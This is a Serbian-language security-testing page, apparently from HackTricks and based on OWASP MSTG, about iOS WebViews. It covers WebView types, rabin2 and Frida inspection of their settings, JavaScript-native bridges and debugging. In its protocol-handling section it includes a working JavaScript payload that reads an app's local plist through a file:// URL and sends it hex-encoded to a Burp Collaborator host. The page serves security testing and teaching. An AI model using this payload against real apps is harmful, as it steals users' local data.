# iOS WebViews {{#include ../../banners/hacktricks-training.md}} Kod ove stranice je preuzet iz [ovde](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md). Proverite stranicu za dodatne detalje. ## Tipovi WebViews WebViews se koriste unutar aplikacija za interaktivno prikazivanje web sadržaja. Različiti tipovi WebViews nude različite funkcionalnosti i bezbednosne karakteristike za iOS aplikacije. Evo kratkog pregleda: - **UIWebView**, koji više nije preporučen od iOS 12 nadalje zbog nedostatka podrške za onemogućavanje **JavaScript**, što ga čini podložnim injekciji skripti i **Cross-Site Scripting (XSS)** napadima. - **WKWebView** je preferisana opcija za uključivanje web sadržaja u aplikacije, nudeći poboljšanu kontrolu nad sadržajem i bezbednosnim karakteristikama. **JavaScript** je podrazumevano omogućen, ali se može onemogućiti ako je potrebno. Takođe podržava funkcije za sprečavanje automatskog otvaranja prozora od strane JavaScript-a i osigurava da se sav sadržaj učitava sigurno. Pored toga, arhitektura **WKWebView** minimizira rizik od oštećenja memorije koje utiče na glavni proces aplikacije. - **SFSafariViewController** nudi standardizovano iskustvo web pretraživanja unutar aplikacija, prepoznatljivo po svom specifičnom rasporedu koji uključuje polje za adresu samo za čitanje, dugmad za deljenje i navigaciju, i direktnu vezu za otvaranje sadržaja u Safariju. Za razliku od **WKWebView**, **JavaScript** se ne može onemogućiti u **SFSafariViewController**, koji takođe deli kolačiće i podatke sa Safarijem, održavajući privatnost korisnika od aplikacije. Mora biti istaknuto u skladu sa smernicama App Store-a. ```javascript // Example of disabling JavaScript in WKWebView: WKPreferences *preferences = [[WKPreferences alloc] init]; preferences.javaScriptEnabled = NO; WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init]; config.preferences = preferences; WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config]; ``` ## WebViews Konfiguracija Istraživanje Sažetak ### **Pregled Statističke Analize** U procesu ispitivanja **WebViews** konfiguracija, fokusira se na dva glavna tipa: **UIWebView** i **WKWebView**. Za identifikaciju ovih WebViews unutar binarnog fajla, koriste se komande koje pretražuju specifične reference klasa i metode inicijalizacije. - **UIWebView Identifikacija** ```bash $ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$" ``` Ova komanda pomaže u lociranju instanci **UIWebView** pretražujući tekstualne nizove povezane s njom u binarnom kodu. - **Identifikacija WKWebView** ```bash $ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$" ``` Slično, za **WKWebView**, ova komanda pretražuje binarni fajl za tekstualne stringove koji ukazuju na njegovu upotrebu. Pored toga, da bi se saznalo kako se **WKWebView** inicijalizuje, izvršava se sledeća komanda, koja cilja na potpis metode vezane za njegovu inicijalizaciju: ```bash $ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame" ``` #### **Provera Konfiguracije JavaScript-a** Za **WKWebView**, naglašava se da je onemogućavanje JavaScript-a najbolja praksa osim ako nije potrebno. Kompajlirani binarni fajl se pretražuje da bi se potvrdilo da je svojstvo `javaScriptEnabled` postavljeno na `false`, čime se osigurava da je JavaScript onemogućen: ```bash $ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled" ``` #### **Samo verifikacija sigurnog sadržaja** **WKWebView** nudi mogućnost identifikacije problema sa mešanim sadržajem, za razliku od **UIWebView**. Ovo se proverava korišćenjem `hasOnlySecureContent` svojstva kako bi se osiguralo da su svi resursi stranice učitani putem sigurnih veza. Pretraga u kompajliranom binarnom fajlu se vrši na sledeći način: ```bash $ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent" ``` ### **Uvidi u Dinamičku Analizu** Dinamička analiza uključuje inspekciju heap-a za WebView instance i njihove osobine. Skripta pod nazivom `webviews_inspector.js` se koristi u tu svrhu, ciljajući `UIWebView`, `WKWebView` i `SFSafariViewController` instance. Beleži informacije o pronađenim instancama, uključujući URL-ove i podešavanja vezana za JavaScript i sigurni sadržaj. Inspekcija heap-a može se izvršiti korišćenjem `ObjC.choose()` za identifikaciju WebView instanci i proveru `javaScriptEnabled` i `hasonlysecurecontent` osobina. ```javascript:webviews_inspector.js ObjC.choose(ObjC.classes["UIWebView"], { onMatch: function (ui) { console.log("onMatch: ", ui) console.log("URL: ", ui.request().toString()) }, onComplete: function () { console.log("done for UIWebView!") }, }) ObjC.choose(ObjC.classes["WKWebView"], { onMatch: function (wk) { console.log("onMatch: ", wk) console.log("URL: ", wk.URL().toString()) }, onComplete: function () { console.log("done for WKWebView!") }, }) ObjC.choose(ObjC.classes["SFSafariViewController"], { onMatch: function (sf) { console.log("onMatch: ", sf) }, onComplete: function () { console.log("done for SFSafariViewController!") }, }) ObjC.choose(ObjC.classes["WKWebView"], { onMatch: function (wk) { console.log("onMatch: ", wk) console.log( "javaScriptEnabled:", wk.configuration().preferences().javaScriptEnabled() ) }, }) ObjC.choose(ObjC.classes["WKWebView"], { onMatch: function (wk) { console.log("onMatch: ", wk) console.log("hasOnlySecureContent: ", wk.hasOnlySecureContent().toString()) }, }) ``` Skripta se izvršava sa: ```bash frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js ``` **Ključni Ishodi**: - Primeri WebView-a su uspešno locirani i pregledani. - Omogućavanje JavaScript-a i podešavanja sigurnog sadržaja su verifikovani. Ova sažetak obuhvata ključne korake i komande uključene u analizu WebView konfiguracija kroz statičke i dinamičke pristupe, fokusirajući se na bezbednosne karakteristike kao što su omogućavanje JavaScript-a i detekcija mešanog sadržaja. ## Rukovanje WebView Protokolima Rukovanje sadržajem u WebView-ima je kritičan aspekt, posebno kada se radi o različitim protokolima kao što su `http(s)://`, `file://`, i `tel://`. Ovi protokoli omogućavaju učitavanje kako udaljenog, tako i lokalnog sadržaja unutar aplikacija. Naglašava se da prilikom učitavanja lokalnog sadržaja, treba preduzeti mere opreza kako bi se sprečilo da korisnici utiču na ime ili putanju datoteke i da uređuju sam sadržaj. **WebViews** nude različite metode za učitavanje sadržaja. Za **UIWebView**, koji je sada zastareo, koriste se metode kao što su `loadHTMLString:baseURL:` i `loadData:MIMEType:textEncodingName:baseURL:`. **WKWebView**, s druge strane, koristi `loadHTMLString:baseURL:`, `loadData:MIMEType:textEncodingName:baseURL:`, i `loadRequest:` za web sadržaj. Metode kao što su `pathForResource:ofType:`, `URLForResource:withExtension:`, i `init(contentsOf:encoding:)` se obično koriste za učitavanje lokalnih datoteka. Metoda `loadFileURL:allowingReadAccessToURL:` je posebno značajna zbog svoje sposobnosti da učita određeni URL ili direktorijum u WebView, potencijalno izlažući osetljive podatke ako je specificiran direktorijum. Da biste pronašli ove metode u izvor kodu ili kompajliranom binarnom, mogu se koristiti komande kao što su: ```bash $ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString" 231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL: ``` Što se tiče **pristupa datotekama**, UIWebView to omogućava univerzalno, dok WKWebView uvodi `allowFileAccessFromFileURLs` i `allowUniversalAccessFromFileURLs` postavke za upravljanje pristupom sa URL-ova datoteka, pri čemu su obe podrazumevano postavljene na false. Primer Frida skripte je dat za inspekciju **WKWebView** konfiguracija za bezbednosne postavke: ```bash ObjC.choose(ObjC.classes['WKWebView'], { onMatch: function (wk) { console.log('onMatch: ', wk); console.log('URL: ', wk.URL().toString()); console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled()); console.log('allowFileAccessFromFileURLs: ', wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString()); console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString()); console.log('allowUniversalAccessFromFileURLs: ', wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString()); }, onComplete: function () { console.log('done for WKWebView!'); } }); ``` Na kraju, primer JavaScript payload-a usmerenog na eksfiltraciju lokalnih fajlova pokazuje potencijalni bezbednosni rizik povezan sa nepravilno konfigurisanim WebView-ima. Ovaj payload kodira sadržaj fajlova u heksadecimalni format pre nego što ih prenese na server, ističući važnost strogih bezbednosnih mera u implementacijama WebView-a. ```javascript String.prototype.hexEncode = function () { var hex, i var result = "" for (i = 0; i < this.length; i++) { hex = this.charCodeAt(i).toString(16) result += ("000" + hex).slice(-4) } return result } var xhr = new XMLHttpRequest() xhr.onreadystatechange = function () { if (xhr.readyState == XMLHttpRequest.DONE) { var xhr2 = new XMLHttpRequest() xhr2.open( "GET", "http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/" + xhr.responseText.hexEncode(), true ) xhr2.send(null) } } xhr.open( "GET", "file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist", true ) xhr.send(null) ``` ## Native Methods Exposed Through WebViews ## Razumevanje WebView Native Interfaces u iOS-u Od iOS 7 pa nadalje, Apple je pružio API-je za **komunikaciju između JavaScript-a u WebView-u i native** Swift ili Objective-C objekata. Ova integracija se prvenstveno olakšava kroz dve metode: - **JSContext**: JavaScript funkcija se automatski kreira kada je Swift ili Objective-C blok povezan sa identifikatorom unutar `JSContext`. Ovo omogućava besprekornu integraciju i komunikaciju između JavaScript-a i native koda. - **JSExport Protocol**: Nasleđivanjem `JSExport` protokola, native svojstva, instance metode i metode klase mogu biti izložene JavaScript-u. To znači da su sve promene napravljene u JavaScript okruženju odražene u native okruženju, i obrnuto. Međutim, važno je osigurati da osetljivi podaci nisu nenamerno izloženi ovom metodom. ### Pristupanje `JSContext` u Objective-C U Objective-C, `JSContext` za `UIWebView` može se dobiti sledećom linijom koda: ```objc [webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"] ``` ### Komunikacija sa `WKWebView` Za `WKWebView`, direktan pristup `JSContext` nije dostupan. Umesto toga, koristi se prenos poruka putem `postMessage` funkcije, omogućavajući komunikaciju između JavaScript-a i nativne aplikacije. Handleri za ove poruke se postavljaju na sledeći način, omogućavajući JavaScript-u da sigurno komunicira sa nativnom aplikacijom: ```swift func enableJavaScriptBridge(_ enabled: Bool) { options_dict["javaScriptBridge"]?.value = enabled let userContentController = wkWebViewConfiguration.userContentController userContentController.removeScriptMessageHandler(forName: "javaScriptBridge") if enabled { let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler() userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge") } } ``` ### Interakcija i testiranje JavaScript može da komunicira sa nativnim slojem definisanjem rukovaoca porukama skripte. Ovo omogućava operacije poput pozivanja nativnih funkcija sa veb stranice: ```javascript function invokeNativeOperation() { value1 = document.getElementById("value1").value value2 = document.getElementById("value2").value window.webkit.messageHandlers.javaScriptBridge.postMessage([ "multiplyNumbers", value1, value2, ]) } // Alternative method for calling exposed JavaScript functions document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2 ``` Da bi se uhvatio i manipulisao rezultat poziva nativne funkcije, može se prepisati callback funkcija unutar HTML-a: ```html ``` Nativna strana obrađuje JavaScript poziv kao što je prikazano u `JavaScriptBridgeMessageHandler` klasi, gde se rezultat operacija poput množenja brojeva obrađuje i šalje nazad u JavaScript za prikaz ili dalju manipulaciju: ```swift class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler { // Handling "multiplyNumbers" operation case "multiplyNumbers": let arg1 = Double(messageArray[1])! let arg2 = Double(messageArray[2])! result = String(arg1 * arg2) // Callback to JavaScript let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')" message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil) } ``` ## Debugging iOS WebViews (Tutorial zasnovan na onom sa [https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews)) Da biste efikasno debagovali web sadržaj unutar iOS webview-a, potrebna je specifična postavka koja uključuje Safari-ove alate za programere zbog toga što poruke poslate na `console.log()` nisu prikazane u Xcode logovima. Evo pojednostavljenog vodiča, sa naglaskom na ključne korake i zahteve: - **Priprema na iOS uređaju**: Safari Web Inspector treba da bude aktiviran na vašem iOS uređaju. To se radi odlaskom na **Podešavanja > Safari > Napredno**, i omogućavanjem _Web Inspector_. - **Priprema na macOS uređaju**: Na vašem macOS razvojnim računaru, morate omogućiti alate za programere unutar Safarija. Pokrenite Safari, pristupite **Safari > Preferencije > Napredno**, i izaberite opciju _Prikaži Develop meni_. - **Povezivanje i debagovanje**: Nakon što povežete vaš iOS uređaj sa vašim macOS računarom i pokrenete vašu aplikaciju, koristite Safari na vašem macOS uređaju da izaberete webview koji želite da debagujete. Idite na _Develop_ u meniju Safarija, pređite mišem preko imena vašeg iOS uređaja da biste videli listu instanci webview-a, i izaberite instancu koju želite da pregledate. Otvoriće se novi prozor Safari Web Inspector-a u tu svrhu. Međutim, imajte na umu ograničenja: - Debagovanje ovom metodom zahteva macOS uređaj pošto se oslanja na Safari. - Samo webview-ovi u aplikacijama učitanim na vaš uređaj putem Xcode-a su podobni za debagovanje. Webview-ovi u aplikacijama instaliranim putem App Store-a ili Apple Configurator-a ne mogu se debagovati na ovaj način. ## References - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6) - [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS) - [https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md) {{#include ../../banners/hacktricks-training.md}}